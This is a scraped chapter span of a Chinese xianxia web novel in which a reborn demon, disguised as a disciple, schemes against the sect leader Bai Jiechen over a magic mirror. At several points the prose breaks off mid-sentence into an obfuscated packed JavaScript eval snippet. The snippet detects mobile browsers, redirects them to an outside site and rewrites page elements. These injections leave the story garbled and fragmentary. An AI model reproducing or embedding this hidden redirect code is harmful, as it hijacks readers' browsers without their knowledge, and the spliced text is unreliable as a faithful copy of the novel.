那人微微垂目,似乎是在寻找什么东西,寻得很仔细,而在他身后依旧是天晴日朗,万里无云。 为防风雪扰人,他居然强行驱散了北垣上的朔风,这等忤逆天道的行为,让鬼修倒吸了一口冷气。 敏锐的直觉让他明白,此人的境界已然到达了合道境的极限,距离飞升仅一步之遥。 脑中灵光一闪,看向他垂在衣侧的手。 暗金滚边的袖口之下,隐约能见到指间缠着一圈黑色戒环。 忽地,鬼修心里泛起了巨大的喜悦,想到一则传闻。 应天宗主白解尘修为天下无双,可前世罪孽深重,若想飞升成仙,则需要寻到命中因果之人,在他们性命垂危之时,还他们性命,保他们一世安宁。 白解尘的左手指间就有一枚黑色戒环。 “难道,我就是白解尘的因果之人?所以他来北垣雪原寻我?” 鬼修咧开嘴,越想越觉得幸运。 不然应天宗主为何来此,定是来救我性命。 他这般想着,扭头阴沉沉地看着那些怪婴,已然想起了数十种折磨怪婴的法子。 挂在他身上的怪婴瘪开嘴,仿佛预料到了痛苦的未来,大声地恸哭。 鬼修粗粗地喘气,撑起身体,歪歪斜斜地跑近了些,嘶声道:“白宗主!杀了这些怪婴!杀了它们!” 怪婴似乎听到了鬼修的心声,它们齐齐望向白解尘的方向,面孔竟流露出哀求的神色,泛白的双眼滴下暗红的血泪。 “白宗主!我是你要救的人,救——” 白解尘似乎没有看见他。 鬼修还未来得及靠近,头颈与身体无声地分开,等到他回头看去时,见到的是倒在地上的自己的身体,那些怪婴们正扑在他的脖颈处,饥渴地吞咽着漫出的鲜血。 他张了张嘴,双眼直瞪,就这样掉进了雪里。 此时,白解尘才抬眸,看向天际。 天边划过一道剑光,一位应天宗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他捂住脸,简直要打自己一巴掌,怎么三番两次在宗主面前失礼! 但这次是有原因的!清徽刚要解释缘由,话语刚到喉间,见到了诡异的景象。 “叮叮叮。” 魂铃不知被谁触碰了,居然响了三声! “宗主,那魂铃好像响了!” 清徽指着魂铃急急叫唤,转身再寻白解尘,那处已无人影,雪面了无痕迹。 白解尘的声音清晰平稳地传入了他的耳朵—— “你自去风雷谷,我稍后便至。” 弟子得令,唤出飞剑驶向风雷谷,一时间竟未察觉,一路上未遇朔风冰雪。 5. 仇人 “啪嗒。” 黎昭手一松,那华贵无比的衣服掉在了地上,他低下头,掩去眼中滔天的恨意。 徐风盛见他这般异样,冷嗤道:“白宗主竟有如此吓人?” “以一己之力封印暗渊,”黎昭一抬头恢复了往常嬉笑的模样,装作害怕的样子拍了拍胸口,“修为之高,实在是令人敬仰。” 徐风盛此人极为自负,换作从前在他面前赞扬白解尘,他是会拔出映雪刀去寻白解尘打个痛快。 现在他却紧抿了嘴唇,牙关明显咬紧了一瞬,随后不情愿地哼了一声。 黎昭见状,心里叹了口气,看来二十年过去这两人关系比从前更好了,若是自己去杀白解尘,恐怕徐风盛也不会袖手旁观。 从前鼎盛时期的他面对白解尘尚有一战之力,倘若加上徐风盛,那更不好说了。 徐风盛臭着脸:“还待着干什么,随我去奉雪堂!” 他也不知气恼些什么,连衣服都没有时间让黎昭换了,扯着他去往山谷边缘走去。 奉雪堂位于风雷谷的山崖上,昔日徐家先祖用建木在光滑的崖壁上,远远望去犹如悬浮在半空的天宫,颇为壮观。 前几天黎昭刚刚在奉雪堂丢过脸,此次再来,他把脸藏在徐风盛的后方埋头走路,试图掩耳盗铃,他的眼睛瞄着风雷主掐丝银边的靴子,有点可惜那件漂亮衣服。 临走时他趁着徐风盛不注意偷偷把那衣服埋在雪里,等日后有机会出谷,把上面的宝石扣掉去典当也能过几天逍遥日子。 眼前的脚步突然停住,还沉浸在美梦中的黎昭猝不及防,鼻子撞到了一处结实温热所在。 “唔!” 他捂住了鼻子,泪光也被撞了出来。 奉雪堂内各方人物都已到齐得差不多,见到徐风盛踏步而来,纷纷侧目,却听到他身后有人哎呦一声。 所有人的目光都看向了风雷主的身后。 徐风盛全身肌肉都紧绷了一瞬,一时间也有些后悔把这显眼包带出来,他稍稍偏脸,用极其微弱的气音咬牙切齿地说:“还不去奉茶。” 黎昭瞪圆了双眼,指了指自己,用口型说:“我?不会。” 徐风盛耗尽最后一丝好脾气,也用口型说道:“不会就死。” 随后他一挥下摆,坐在了奉雪堂的上座,用眼神示意黎昭干活。 黎昭躲在徐风盛背后,眯起眼扫了一圈在座的客人。 白解尘居然不在? 徐风盛不满地轻咳一声。 黎昭端起茶船,不情不愿地上前,在座的他前世得罪过的大佬。 左手第一位的是尸罗堂的台首孟津河,他长相英俊,可脸色极其苍白,配上一身玄色软甲,看上去半只脚就要进到棺材里了。 尸罗堂掌管九州刑狱,跟魇魔不共戴天,各宗各派内都有尸罗堂的分部。当年黎昭就是在尸罗堂受了刑,对孟津河这张脸不可谓不熟悉。 孟津河端起茶盏,说道:“白宗主呢?” 在座都是昔日同窗,徐风盛往日紧绷的神情不由地有一丝放松,他轻抚着眉心,说道:“原话,稍后便至,要紧事他弟子都告诉我了。” 白解尘向来说话算数,除非是被因果之人缠住了。 李梦鱼咦了一声,掐指轻点后,说道:“这世上竟有其他事能碍住他?” 徐风盛将之前应天宗弟子的事情说予众人。 “北垣上魂铃响了三声?”李梦鱼再次重复道,“北垣上?这倒是奇事。” 北垣上的朔风连寻常修士都无法抵挡,离体的魂魄恐怕连一刻钟都坚持不了,若能在北垣上敲响三声魂铃,那这魂体实在强韧。 强韧得超出他们的认知。 李梦鱼顿了顿,想到了一种可能的情况,说道:“若说是魇魔的魂魄被囚于暗渊二十年,如今恰逢法阵动荡,那一缕魂魄逃脱了怎么办?” 黎昭放下茶盏的手一抖,心中暗惊,不动声色地瞥了眼李梦鱼。 不愧是天衍之名,居然猜中了七七八八,怪不得都说先刀预言家。 “不可能,”孟津河冷笑道,“魇魔不入轮回,死也是魂飞魄散,怎么会有残魂?” 李梦鱼挠挠头,说道:“哎呀,读过的书都还给老师了。” “你读过书吗?哪次考试不是算卦的?”一声稚嫩的童音响起,一位粉雕玉琢的小童正托着腮,色眯眯地盯着另一人。 一人端坐在小童的右侧,青衫白纱,眉眼如画,长发未束冠,犹如瀑布般的青丝垂下,清新温润之感扑面而来。 他正抱着一张古琴,骨节分明的白皙双手轻轻放置在琴弦上方,漂亮得如同一尊精妙至极的玉雕。 “是吧,谢美人,”小医仙薛烛吹了吹口哨,“你理理我呀。” 谢韫闭上眼,指尖轻弹,拨了几个琴音后懒得再理那道逐渐灼热的目光。他原本是应天宗的门徒,后因琴宗赏识,被生拉硬拽去了徴羽院,现在已成徴羽院的掌院。 他向来不爱开口说话,又有琴音替他言语,刚才那句琴音之意便是,“滚,再看挖了你的眼睛,然后爆炒一番塞进嘴里”。 眼看话题转移,孟津河又扯回来,说道:“即便是魇灾的魂魄逃出,北垣广袤无限,怕是也被朔风吹散了。” 黎昭叹了口气,他都死了二十年了,怎么这几人还喜欢说自己坏话。 堂堂魇族少主的魂魄怎会被朔风吹散?笑话! 奉雪堂原本是风雷谷众人议事的地方,他理应扭转回逐渐偏离的话题,不去理会什么消失二十年的鬼魂,可自从他坐下后,一直保持着抚额的姿势,深邃的眉眼隐在淡淡的阴影之下,盖住了眼眸中的某种情绪。 黎昭心虚地看向徐风盛,生怕他将自己同那壮硕到撞三次钟的魂魄联系在一起。 一眼而过,黎昭皱了皱眉,仿佛是错觉,他竟觉得徐风盛有那么一瞬间似乎很疲倦。 黎昭暗自摇头。 是啊,确实应该累,工作哪有不累人的,算上那一沓账簿,简直是要累死人! 待到孟津河说完,徐风盛才抬起眼眸,对着的却是谢韫,不悦道:“谢掌院,注意言行。” 谢韫点头致歉。 听到他们总算不理会自己这死了二十年的人,黎昭总算松了口气,也送完了所有的茶水,正要离开,衣袖被一人拉住。 小医仙薛烛黑白分明的眼珠眨了眨,说道:“咦,你眉心的那一点,是什么?” 所有人的目光都聚向了黎昭的眉心。 前几日被傀儡刺伤,眉心的伤口消散不去,凝成了一粒血色的红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773640|145697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点。 在一向喜好美色的小医仙眼里,林照之的外貌清新俊雅,却不够美艳,可那眉心一点的血痕却使整张脸顿时活色生香起来,仿佛有另一道昳丽的影子。 小医仙薛烛越看越不对劲,他见过无数美色,唯有那年的惊鸿一瞥能让他至今念念不忘,时隔二十年,再次见到这枚娇艳欲滴的红痣时,心中那抹酥酥麻麻的痒意犹如雨后春笋冒出一大片。 小医仙薛烛抓住那人的衣袖:“你,你……” 他咿咿呀呀了半天,最后放弃了,说道:“你这朱砂痣过于刻意,下次不要留了。” 黎昭顿时觉得刚才谢韫那句话简直是骂轻了,实在是忍不住想要说上两句。 徐风盛轻咳一声,说道:“我们要谈正事了,你下去吧。” 黎昭得令,硬生生止住在喉间的话,像一条灵活的小鱼倏忽间游走了。 一出奉雪堂,依旧是晴空万里,就连天际盘旋的疾风隼都看得一清二楚。 黎昭也不知道北垣何时改了脾性,一连数日都未曾刮风下雪,没有风雪遮挡,要更加小心疾风隼的监视。 他足尖一点,如一片轻薄的枯叶从雪崖落下,飘然飞向了风雷谷深处。 今早他就感知到了灵犀透骨镜的所在,徐风盛怕是一时半儿也出不来。 躲避开了巡逻的徐家弟子,悄悄来到了厝楼前。 他取出藏在袖中的雷符,血咒画符,牵引出其中的雷电之意,而后往那门上一甩,显现出徐风盛独有的印记,紫莹莹地没入门锁,随后木门缓缓打开。 厝楼内垂落着五色经幡,雪光透过月纸,映得室内影影绰绰,透出一股诡异的阴森,照骨镜正位于房间的正东角木龛上。 黎昭暗骂了一声晦气,潜入房间后关上门,直取镜子,就在他手指碰到的一刹那,脖颈后的肌肤激起一片战栗。 门外有人! 这突如其来的直觉让黎昭有了强烈的危机感,那是出于本能的反应,从诞生在天地之初,魇族特有的预感。 “吱呀。” 木门又一次打开。 黎昭躲在了木龛的最下方,用魇族特有的秘法笼住了周身气息。 重生以来,他第一次感到如此威压,天气寒凉,他瓷白的肌肤上都渗出了细细密密的汗珠,眼眸透出了金色的碎点,瞳仁不断紧缩着。 厝楼内的人,强大得不可思议。 眼前狭窄的缝隙出现了一双错金暗纹的白靴,那白靴布料极其贴身,衬得来人的小腿笔直修长充满了力量感。 黎昭一点都不敢去猜测来人是谁。 世间凡是有大修为者,均是连同天地气韵,他们靠得如此相近,黎昭只要动一动念头,那人就会有所感应。 那人停在了木龛前,似乎对那面灵犀照骨镜有无尽的兴趣。 黎昭屏住了呼吸,整颗心不断地往深渊坠去,他无声地呐喊:怎么都想要我的镜子?你们不会自己去买吗? 好像过了很久很久,又仿佛仅仅一瞬间,黎昭隐约听到了一声轻轻叹息,轻得仿佛他的错觉。 那人脚步一动,似乎有离去的痕迹。 紧绷状态之下黎昭全身僵硬得如同冰雪之下的冻石,就在他几乎松懈的一瞬间,那人却开口了—— “谁。” 6. 谎言 “谁?” 声音冷冽而独特,仿佛在耳边响起,宛如雪山般的威压袭来。 黎昭如坠冰窟,双手死死抵住青石砖面,过于用力指尖泛着白。 一股强劲的力量卷住他的腰身,蛮横地将他从藏身之处。 白解尘居高临下地望着这位不速之客,神色冷漠。 他的眸色极黑,像是深不见底的渊潭,被这双眼睛看着,仍谁的心里都会生出一股惧意。 黎昭曾经设想过如果再次见到白解尘是怎样的情形,那会是他们今生唯一一次相见。 他会让剑刺入白解尘的心脏,直到那双眼睛里的光芒熄灭,一如当年他是如何杀死自己。 但是,当他真的见到白解尘的第一眼,翻涌起强烈的恨意与暴虐。 白解尘的外貌同过去没有任何变化,尘光映衬下,他俊美得如同一尊冰雪铸成的神像。 黎昭只望了一眼,就假装害怕得闭上眼,怕眼中翻涌的杀意惊动了那人。 “你是何人?” 白解尘不需要任何动作,黎昭只觉得自己的下颌被一股难以抵挡的力量紧紧箍住,强迫他抬起脸。 黎昭睁开眼,双眼中满是惊恐。 白解尘轻易不流露情绪,但黎昭知道,他在生气。 那紧箍住下颌的力量中蕴藏着翻涌的怒火,犹如平静海面下汹涌的波涛。 倘若自己有任何可疑之处,黎昭丝毫不怀疑他会替风雷主处决自己。 但此刻,一名普通的徐家弟子潜伏在藏宝之处,已经是可疑得不能再可疑了,他说什么理由,都是无力回天。 黎昭深吸一口气,望着那双眼睛,期期艾艾地说道:“我,我是风雷主的,风雷主的……” 白解尘不悦地皱眉。 “风雷主的,”感受到禁锢自己的力量再次增强,黎昭咬着牙,像是博命般,吐出了那三个字,“老相好!” 禁锢在脸颊上的力量突然消失,黎昭伏在地上,大口的喘气。 白解尘一贯没有情绪起伏的脸庞出现了复杂的神情,似乎是在疑惑眼前人的身份,又有一丝扭曲的愤怒,那愤怒中又有几分隐秘的快意。 “谁!谁在里面!” 大门被轰然打开,徐风盛跃入室内,晴空闯入暗房,冲淡了方才的肃杀之气。 见到两个根本不可能同时出现的两个人,徐风盛一时愣住。 他感应到此处的波动,急急赶来,没想到竟然会见到白解尘与林照之。 ……白解尘似乎还被气得不轻。 徐风盛心里一阵快意,放缓了步调,说道:“白宗主,有事可以来奉雪堂,怎会在此?” 就差没把“撒野”两个字说出来了。 “我来取镜,在木龛之下遇见了,”白解尘停顿了一刻,语气中带着一丝淡淡的嘲讽,回敬道,“你的老相好。” 徐风盛根本反应不过来“老相好”三个字是什么章程,就听到黎昭大声道:“风雷主,你莫要始乱终弃呀!” 徐风盛面目有一瞬间的扭曲,说道:“胡言乱语,我怎,怎么始乱终弃?” 黎昭抹着不存在的眼泪,胡乱滚到徐风盛的旁边,说道:“这几日你与我同吃同睡,难道你不承认?你不要抵赖,风雷谷内几百双眼睛都看见了!” 徐风盛唰得抽出刀,刀尖指着黎昭,许是气糊涂了,鼎鼎大名的映雪刀尖都在颤抖:“你,你!胡说八道些什么!” 黎昭见情形差不多了,打算见好就收:“呜呜呜,你不愿给我名分就算了,何必拿刀指着我,莫不是你怕白宗主知晓你这渣男本性?要杀人灭口?” 这些日子他都跟着徐正看话本,说起这些如泣如诉的句子都是信手拈来。 说完,他还飞快地瞄了眼白解尘。 白解尘生性孤高清冷,不欲理会这两人的恩恩怨怨,他轻轻一点,取走了灵犀照骨镜,说道:“此人留你处理。” 他转身便走,路过徐风盛的时候,不偏不倚地给了徐风盛一个意义不明的眼神。 徐风盛被看得莫名其妙,小声道:“我又咋了?” 黎昭眼睁睁地看着那枚镜子落入白解尘之手。 凭什么白解尘要拿自己的镜子? 难道他还放不过自己,连魇魔留在世界上最后的一个物件也要摧毁? 他来不及细想,视线被一道身影挡住。 徐风盛合上了暗室大门,一步一步走至黎昭面前。 他从方才持续发蒙的状态中终于冷静下来,未入鞘的映雪刀散发出隐隐雪光,停在黎昭的额前。 “林照之,你三番两次盗取灵犀照骨镜,意欲何为!?” 话音刚落,映雪刀刃冒起一段段电弧,滋滋作响,映照出徐风盛眼中的怒意,他的眼眸渗出了深沉的紫色。 映雪刀尖距离黎昭不过几寸,他隐约能感受到微微的热意,只需轻轻一碰,恐怕自己会瞬间成为一堆灰烬。 第一次若说是巧合,那么第二次绝对是另有所图。 黎昭知道再骗下去,自己的小命不保。 “你若再说谎,我定让你求生不得求死不能。”徐风盛冷声道。 他们二人皆是天下强者,骗过白解尘已是千限万难,再瞒过徐风盛,简直是天方夜谭。 奈何他是黎昭,一只狡猾的魇魔。 黎昭看见近在咫尺的刀尖,突然幽幽地叹气,垂眸道:“我说,我是被人胁迫的,风雷主你信么?” 徐风盛眉头一紧,不为所动。 黎昭苦笑一声,卷起袖子,露出小臂,说道:“风雷主,请看。” 他肤色白得透明,隐隐能见到鸦青色的经脉,而在这细腻的肌肤上竟有一道墨色咒印。 徐风盛见到这道咒印,惊呼道:“魇咒!” 惊骇之下,他不顾避开两人之间的“老相好”之嫌,抓住了黎昭的手臂细细查看。 这咒印形状诡异,墨色鲜亮,似有呼吸之感,散发着不详的气息。 魇魔生性狡猾残忍,最喜操纵人心,这道咒印便是大名鼎鼎的眷属诅咒,往往作用于魇魔的从属者。 若有丝毫违抗主人的命令,那从属者将日日夜夜受剜心之苦。 “那日我遇袭之后,在北垣上遇到了一只鬼魂,”黎昭稍一挣脱,怕他看出端倪,声音都因为恐惧而微微颤抖,“我经脉尽毁,金丹碎裂,那鬼魂便轻易擒住了我。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黎昭微微皱眉,思索一番后骤然想起,生魂离体七日内会投胎转世,若是期间因为牵绊无法投胎者,怨气重者成煞,轻者则永远消散于世间,按照“黎昭”的死法,八成会是煞中威力最强的尸雪煞。 但即便是尸雪煞,对于徐风盛这般的强者而言,也不是难事。 “此事你不许再同旁人说起,我自会解决。”徐风盛一把揪住黎昭的衣领把他丢到了室外。 大门关闭,黎昭足尖一转,斜斜依靠在石栏上,姿势说不出的风流恣意。 他看着石门上的封印,嘴角勾起一抹笑容。 徐家屹立北垣千载,家训便是顺应天道,万物自然,徐风盛定不会让“黎昭”化为雪煞。 等徐风盛与白解尘争夺镜子后,他就施展秘法夺镜,随后走为上策。 且看看他所布局的大戏如何开场。 黎昭指尖轻点,半透明的黑雾缠绕指间,幽幽化为一只薄翼黑蝶。 方才徐风盛查看手臂上的魇术时,他动了个小手段。 黑蝶扑闪着翅膀,停在了他的耳边,传来了两人的声音。 7. 仇恨 徐风盛不需刻意寻找,他自知晓白解尘的意图,在风雷谷最高处的听雷崖见到了白解尘。 那枚灵犀照骨镜正悬浮在白解尘身前,但也仅仅是悬浮而已,白解尘还未注入灵力使用它。 “这镜子已碎过一回,怕是不能承受你的法力。” 徐风盛的声音自后方传来,白解尘稍稍偏着脸,见到来者,说道:“是你没有修好它。” 白解尘的情绪一向冷淡,今日出奇地夹枪带棒,言语讥讽,连带着引起了徐风盛隐藏许久的怒火。 徐风盛冷笑道:“是吗?那你是否想过这镜子是如何碎的?是谁杀了黎昭?” 话音一落,笼罩风雷谷的天空霎时一暗,盘旋在上方的疾风隼也纷纷降落,空气中凝结起点点寒晶,雾气缠绕在天地之间,远处似乎又传来隐约的风声。 徐风盛目光冰冷地看着他,手指轻轻抚摸着映雪刀的刀柄。 过了良久,白解尘才开口:“是我杀的。” 语气平淡,像是在阐述一件无关紧要的事实,随后他望着灵犀照骨镜,宛如在看情人的珍宝,说道:“那又如何,你有何资格来质问我?” 天空又恢复了之前的晴朗,阳光照耀下,原应是温暖和煦,可北垣的阳光清冷得诡异,一如此刻的白解尘,强大之下隐藏着不为人知的疯狂。 徐风盛远远看着白解尘,似是从来不认识这位昔日同门,忍不住说道:“他都被你一剑穿心而死了,你为何还不放过他?” 白解尘眼神闪烁了一瞬,抿嘴不语。 难得见到白解尘沉默,徐风盛不吐不快:“北垣七日都不下雪,百姓们人心惶惶,你刻意停了风雪,于天理不容,你就那么想找到他的魂魄?不让他转世成人,你一定要让他成为尸煞才甘心?” 白解尘听得很仔细,忽然轻轻一笑,他是世间罕有的美男子,笑起来应当十分好看,可他的笑容居然让徐风盛产生了一种毛骨悚然之感。 “你怎知他是被我一剑穿心而死?”白解尘的语速不紧不慢,慢条斯理,却让徐风盛冷汗直冒,“又怎知会变成尸煞,好奇怪,就好像你亲眼见到一般。” 徐风盛一时哑然,他本想劝白解尘放弃搜索黎昭的魂魄,没曾想被他猜中了大概。 饶是如此,徐风盛依旧嘴硬,说道:“我只是看不惯你对他不依不饶罢了。” “看不惯?”白解尘眼中似有嘲弄,“你的父亲因魇灾而死,你也理当恨他至死,又怎么会看不惯?” 徐风盛的手停在了映雪刀柄上,骤然紧紧握住,他的胸口不住地起伏,而后似是意识到某人是在故意激怒自己,随即冷声道:“我北垣徐氏生于此地,与魇魔争斗千载不死不休,这是每位徐家子弟的宿命,我父亲死而无憾。” “死而无憾。” 白解尘轻声念着这四字,随后说道,“他死而有憾,应当化为厉鬼,向我索命。” 徐风盛见多说无益,便拔出映雪刀,说道:“顺应天理,万物自然,你将镜子交予我,另外,我北垣不是你掌中的玩物!” 他一刀挥下,犹如劈开了北垣那沉寂许久的风雪。 霎时,朔风呼啸,雪花漫天。 * “啪。” 黎昭耳旁的蝴蝶消散了。 积攒了七日的朔风强大到不可思议,穿梭过风雷谷伫立千年的石林,犹如声声鬼嚎。 原来徐如霆是被他害死的。 黎昭目光闪动,垂在身侧的双手死死攥紧。 他也算是得偿所愿,谁让那徐老头打了他整整三天的雷鞭。 黎昭扯了扯嘴角,也算是报仇雪恨了。 风雪霎时又停住了,一股前所未有的强势威压降下,令所有人不敢轻举妄动。 黎昭从厝楼上一跃而下,身形犹如鬼魅,藏进了阴影处。 奉雪堂的众人听到了风雷谷上方的动静,来到谷底,抬头见到听雷崖上的两人时,所有人都倒吸一口冷气。 “嘶,这俩人怎么回事?”孟津河唤出无咎锏,正欲上前,就被李梦鱼阻止了。 “朔风寒雪皆沾染天道因果,不可轻举妄动,”李梦鱼拉住他,望着高处,“你可是要帮谁?” “什么帮不帮谁?我去扯开他们!”孟津河化为一道黑光,直直飞向听雷峰。 小医仙薛烛谁也不想帮,若是真的要让他选一个,以他颜值为上的标准,应当是向着白解尘,但这危险的念头在他脑中一闪而过就被掐灭了。 谢韫席地而坐,弹奏起一曲《天地春》。 此乃祭祀天道所创的琴曲,是为安抚天地所做,往往是渡劫的修士才需要聆听,以待来日天劫之时能稍稍安稳。 在谢韫看来,这三人的行为,跟渡劫也并无分别,琴曲中夹杂着几句优美的问候,向天道表示,自己同那三人不熟。 黎昭无视这时停时起的风雪,他刻意避开了那几人,来到了一处不起眼的雪堆旁,挖出了几颗灵石和那件镶满金银玉石的衣服。 这是他这几日的薪酬,虽然不多,好歹是他自己挣的,那衣服上的宝石却是不好意思再拿了。 他没有脸面在风雷谷待下去了。 灵石被雪掩埋,黎昭紧紧贴着它们,像是装了几粒冰块,趁着所有人不注意,偷偷溜出风雷谷。 就在行至谷口之处,黎昭耳旁见到了一声极其细微的镜裂声。 随后风雪骤停,天空万里无云,周围的气温却冷得让人异常不适。 黎昭心念一动,眯起眼看向风雷谷,一股微风轻轻吹来。 他伸手一拢,一点点黑晶晶的碎片在他掌心汇聚,不多时已经形成了小小一堆。 那碎晶在他的手中十分乖巧,化为丝丝缕缕的细线缠绕在黎昭的指间,似在诉说分离已久的想念。 “我的镜子。” 黎昭感受到久违的熟悉,他随手一点,那碎晶慢慢融为一柄古镜,镜面光亮如新,丝毫不见之前的残碎之相。 此镜为自己的魔角所化,即便是经过炼制,那也是自己身体的一部分。 没想到徐风盛办事还挺可靠,如今一事解决,他可放心离开, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773642|145697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待到来时,就是取走白解尘的性命。 风雷谷口距离自己不远,黎昭脚步亦轻快起来,似乎未曾注意到后方跟随着一道黑影。 那黑影速度极快,在晴空映照的雪地上似一阵风般掠过,瞬间便至黎昭的脑后,锋利的尖锥刺出。 黎昭脚步一顿,足尖一扭,轻飘飘地躲开了黑影的袭击,随后笑道:“你就这么等不及?” 袭击之人正是那日的傀儡,用的脸面竟然是那位徐主管! 傀儡咧开嘴,似是在嘲讽眼前人不自量力。 他快如闪电,几乎是瞬移般飞至黎昭面前,与此同时,手中尖锥再次袭来。 黎昭站在原地一动不动,眼睛也不眨,见到那尖锥停在自己的头顶,歪着脑袋,说道:“咦?怎么不继续了?” 傀儡空白的面部突然出现了一道血色的咒印,颜色由红转暗,隐隐泛着诡光。 他被定在了空中,动弹不得。 那日傀儡刺了黎昭一剑,却是他故意的,体内的血滴顺着尖锥而没入傀儡的身体,就待今日。 黎昭打了个响指,傀儡倒在地上,他围着傀儡,慢悠悠地说道:“你化作徐主管,处心积虑地要杀我,可惜一连几日徐风盛都跟我在一起,同我聊天时,你也未曾向我打探消息,说明你主人的任务只是杀了我灭口,不管我是林照之,还是他人,你主人只想杀死这具身体。” 他靠近了傀儡的脸庞,望着那光滑面目上眼睛的位置,说道:“你不懂变通,想来是不开灵智的傀儡,我问你什么,恐怕你也不会回答。” 傀儡听闻,嘴部漆黑的洞口发出嗬嗬的风声。 黎昭也不恼,说道:“可惜你的主人找错人咯!” 他的指间泛起浓郁的黑雾,疾如闪电,一掌击入傀儡的脸上,他的双眼瞬间变为金瞳。 搜魂术! 他的躯体是废人一个,可属于魇魔力量依旧存在于魂魄之内。 魇气摧枯拉朽般地侵蚀着隐藏在傀儡体内的缠丝,同是也在寻找着傀儡体内的灵核。 灵核是傀儡运作的核心,往往常有傀儡主人的信息,一探之下便可知悉这具身体到底隐藏着什么秘密。 傀儡万万没想到奉命灭口之人居然会如此恶毒的魇术,他挣扎了几番却无可奈何,随着体内的缠丝被逐渐摧毁,他也停止了挣扎。 黎昭找寻了一番,终于在层层缠丝之下发现了灵核。 他放出灵识一探究竟,待到意识侵入那灵核时,一股强大的吸力袭来,犹如海面上的漩涡,差点将黎昭的意识卷入那深沉危险的海底。 黎昭暗道一声不妙,迅速脱身,收拢魇气。 就在他手掌离开的一刹那,那傀儡被一道强悍无匹的剑气轰成了碎片。 迎面而来的气劲让黎昭眼前一黑,随即整个身体朝着后方飞去,被一个人抓住了手腕。 衣袖滑落,手臂上的魇咒正在莹莹闪烁。 白解尘居高临下,漆黑的眼眸映出他的影子,饱含着深深的恨意,说道:“是你,见到了魇魔的魂魄?” 8. 误会 白解尘悬浮在半空,他一只手抓住了黎昭的手腕。 黎昭被人提着,手腕处的肌肤感受到那人手指冰冷的寒意,又抓得他生疼,宛若烈火灼烧般刺痛。 更不需说白解尘那道审视的目光,像利剑般刺穿他外在的躯壳,似乎要看穿他掩盖的一切。 “放,放开我!”黎昭蹬了蹬腿,毫无效果。 白解尘又问了一句:“你见到魇魔的残魂了?” 他语调不急不缓,却充满了危险的意味,天地间风雪骤停,晴空映照之下,黎昭只觉得遍体生寒。 关注听雷峰上的几人随之而来,见到白解尘突然抓住一名风雷谷的弟子,眼中皆有不解。 白解尘身为一宗之主,怎么跟一名弟子有了纠葛? 黎昭望着孟津河等人的目光,忽然心生一计,故技重施大喊道:“救命!光天化日之下,堂堂一宗之主要抢人啦!” 徐风盛喊道:“白解尘,你擒住我的门人,意欲何为?” 白解尘一言未发,而是盯着手臂上的魇咒,手指紧紧箍着黎昭的手腕,眼光流转过暗芒,看不出他内心有何想法。 黎昭的这层魇咒做得毫无破绽,若要骗过旁人,需得骗过自己,这道魇咒是真的下在自己身上,他的躯壳是被诅咒之体,他自身则是施咒之人。 躯壳自然是听取主人的言语,他自诩天衣无缝,谁也瞧不出,可不能保证白解尘是否能看出端倪。 黎昭挤出不存在的眼泪,说道:“风雷主!你要替我做主,白宗主要夺你的人,你怎么不出手救我!” 此言一出,白解尘忽然放手,黎昭狼狈地落在了松软的雪地上。 他迅速地跑到徐风盛的身旁,说道:“风雷主,我对你忠心不二,定不会贪图富贵跟着白宗主跑的!” 徐风盛脸上的表情可谓精彩至极,他乐于看白解尘吃瘪,又对黎昭那胡言乱语感到心烦意乱,只能冷着脸,呵斥道:“还不滚回去。” 等事情解决,他定要把这林照之派到中洲挖矿去! 黎昭怀里揣着几块灵石,不情不愿地徐风盛身后走去。 跑又跑不成,还被白解尘盯上,都怪那傀儡碍事! 在一旁的孟津河看得一头雾水,用手肘碰了碰李梦鱼,说道:“什么情况,怎么会突然打起来,现在又不打了?” 李梦鱼的眼睛在这三人之间打转,捂着嘴说道:“白宗主要抢徐风盛的人,你这还看不懂?” 孟津河倒吸一口凉气:“怎能如此?” 李梦鱼:“还不仅如此,恐怕这徐家弟子还是一个替身,啧啧啧,玩得真花啊。” 孟津河愈发不解,脚尖一踢身旁散落的傀儡碎片,说道:“替身傀儡不在这里?怎么那弟子又是替身傀儡?” 李梦鱼瞪着他,犹如在看一棵朽木,说道:“你小子可真是油盐不进啊!” 谢韫凑了过来,难得开口说话,“天衍公子也读《朱颜镜》?” 《朱颜镜》乃是世间流传的一则话本,乃是说仙门弟子白师兄曾有一白月光,后白月光堕魔,白师兄无可奈何,遂寻了一相貌相似的魅妖欢乐度日的故事。 其中几乎有一半篇幅都在描述同魅妖如何寻欢作乐。 